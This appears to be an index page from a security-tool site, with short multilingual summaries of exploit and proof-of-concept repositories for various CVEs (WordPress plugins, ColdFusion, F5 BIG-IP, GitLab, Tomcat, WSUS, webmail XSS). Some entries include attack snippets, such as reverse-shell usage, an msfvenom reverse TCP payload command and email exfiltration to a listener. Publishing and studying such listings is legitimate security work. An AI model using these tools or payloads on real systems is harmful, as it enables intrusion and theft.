Detect-CVE-2018-20250

Detect-CVE-2018-20250 Este script detecta si es que uno de los archivos .rar puede tener la configuración para explotar el CVE-2018-20250. Para esta detección se usa el comando file y el comando strings , que están en la mayoría de las distribuciones de linux. Uso del script...

api_wordlist

apiwordlist Una lista de palabras con nombres de API utilizada para el fuzzing de APIs de aplicaciones web. Contenido apiseeninwild.txt - Contiene nombres de funciones de API que he visto en la naturaleza. actions.txt - Todos los verbos de nombres de funciones de API objects.txt - Todos los...

CVE-2015-8351

gwollebuster Este script es un exploit para el antiguo plugin de WordPress gwolle uso: ./gwollebuster.py primer argumento = la URL objetivo de WordPress que tiene instalado gwolle segundo argumento = tu IP tercer argumento = puerto de escucha para la reverse shell ejemplo: ./gwollebuster.py...

CVE-2025-30349

Vulnerabilidad de Horde IMP – ofuscación mediante codificación HTML – payload XSS Horde 5.2.23; IMP 6.2.27 Los detalles de la vulnerabilidad se explican en el archivo Details.md. El PoC crea y envía un correo electrónico con un payload que explota la vulnerabilidad al destinatario. Este tipo de...

CVE-2025-52385

CVE-2025-52385 Software : Studio 3T v.2025.1.0 Vulnerability Report : Studio 3T Remote Command Execution Overview A critical vulnerability in Studio 3T version 2025.1.0 and earlier allows a remote attacker to execute arbitrary code via a crafted payload exploiting the childprocess module in the...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - 远程命令执行 RCE 漏洞利用 概述 该漏洞利用针对 Adobe ColdFusion 8 中的一个已知漏洞（CVE-2009-2265）。它通过上传恶意 JSP 载荷来建立反向 shell 连接，从而实现远程命令执行 RCE。 漏洞详情 CVE ：CVE-2009-2265 漏洞类型 ：Adobe ColdFusion 8 对文件上传处理不当。 受影响版本 ：Adobe ColdFusion 8。 影响 ：允许攻击者在服务器上执行任意命令。 功能特性 1. 自动使用 msfvenom 生成 JSP 载荷。 2. 通过 multipart POS...

Text4ShellPayloads

Text4ShellPayloads Este proyecto incluye un script de Python que genera comandos maliciosos aprovechando la vulnerabilidad CVE-2022-42889 El servidor vulnerable se configuró según las indicaciones de "Karthik U J" siguiendo el paso en https://github.com/karthikuj/cve-2022-42889-text4shell-docker...

CVE-2024-42009

CVE-2024-42009 PoC：电子邮件捕获监听器与XSS漏洞利用 概述 本概念验证（PoC）演示了针对CVE-2024-42009漏洞的利用方法，利用跨站脚本（XSS）漏洞从目标Webmail应用程序中提取电子邮件。攻击注入恶意载荷，将邮件内容外泄到攻击者控制的监听器。 特性 利用XSS漏洞捕获电子邮件内容。 使用HTTP监听器接收并解码外泄的电子邮件。 自动化载荷注入与外泄过程。 依赖 Python 3.x 所需依赖（通过pip安装）： root@kitploit: pip install requests beautifulsoup4 使用方法 使用必要参数运行脚本：...

SPIP-BigUp-Unauthenticated-RCE-Exploit-CVE-2024-8517

Exploit de RCE no autenticado en SPIP BigUp CVE-2024-8517 Descripción Este script de Python explota una vulnerabilidad de ejecución remota de código RCE no autenticada en el plugin BigUp del CMS SPIP Système de Publication pour l'Internet Partagé. La falla radica en la función...

CVE-2022-2992

CVE-2022-2992 Ejecución remota de comandos autenticada en Gitlab mediante la importación de GitHub. Una vulnerabilidad en GitLab CE/EE que afecta a todas las versiones desde 11.10 anteriores a 15.1.6, todas las versiones desde 15.2 anteriores a 15.2.4, todas las versiones desde 15.3 anteriores a...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC 使用 java.net.InetAddress 进行检测 root@kitploit: POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type:...

CVE-2022-33891

CVE-2022-33891 PoC PoC para CVE-2022-33891, con capacidad para establecer cargas útiles personalizadas. No es vulnerable por defecto -- spark.acls.enable debe estar en TRUE. Uso Previsto El uso de este script está limitado al personal autorizado para ejecutar el payload en los hosts objetivo...

CVE-2022-1388

CVE-2022-1388 PoC for CVE-2022-1388 affecting F5 BIG-IP. Usage root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File lis...

poc-cve-xss-encoded-wp-inventory-manager-plugin

Actualización - 5/10/2023 El ID CVE-2023-2123 fue reservado y el PoC fue publicado en el sitio web de WPScan: https://wpscan.com/vulnerability/44448888-cd5d-482e-859e-123e442ce5c1 Detalles Título: Cross-Site Scripting Reflejado No Autenticado en el Plugin WP Inventory Manager para WordPress CMS...

nxboot

nxboot CLI tool for Nintendo Switch RCM payload launching Fusée Gelée. Uses Zig and libusb. Requirements Zig 0.15.2 Usage 1. Put the console in RCM and connect it to your machine via USB. 2. Run: root@kitploit: zig build -Doptimize=ReleaseSafe run -- /path/to/payload.bin Note: with a Debug build...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / Exploit RCE de 0-Click Autor: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 Este repositorio contiene un exploit de prueba de concepto para CVE-2024-51793, una vulnerabilidad de subida de archivos arbitrarios sin autenticación en un plugin de WordPress...

CVE-2025-48384-main

PoC para CVE-2025-48384 Esto es un POC. No lo descargues en un entorno inseguro. Permitirá al atacante ejecutar código remoto en tu máquina Ver CVE-2025-48384 Para ejecutar: root@kitploit: git clone --recurse-submodules [email protected]:zr0n/CVE-2025-48384-main.git El payload ejecutado está...

CVE-2025-24813

CVE-2025-24813 Descripción Este repositorio pretende proporcionar instrucciones claras para el despliegue rápido de Tomcat v9.0.90 con java 25.0.1 2025-10-21 LTS en Windows Server 2019 Standard para un ejercicio de emulación de amenazas de ciberseguridad. El exploit.py utiliza ysoserial-all.jar...

cve-2025-59287

CVE-2025-59287 - WSUS 利用工具包 作者：adel-h4x0a ⚠️ 仅限教育和授权测试用途 ⚠️ 概述 本工具包演示了 CVE-2025-59287 的利用过程，这是 Windows Server Update Services WSUS 中的一个远程代码执行漏洞。 组件 1. 加密模块 cve-2025-59287-encr.py · 用于 WSUS 通信的 AES 载荷加密 · 支持传统和安全两种加密模式 · 自定义载荷生成 2. 利用模块 cve-2025-59287-exp.py · CVE-2025-59287 的完整利用链 · 健壮的错误处理和重试逻辑 ·...

CVE-2023-26360-RCE

CVE-2023-26360 - Ejecución Remota de Código en ColdFusion 2021 A veces, los scripts no funcionan en el primer intento. Inténtalo varias veces para que funcione. Cómo ejecutar Crear un payload con msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java...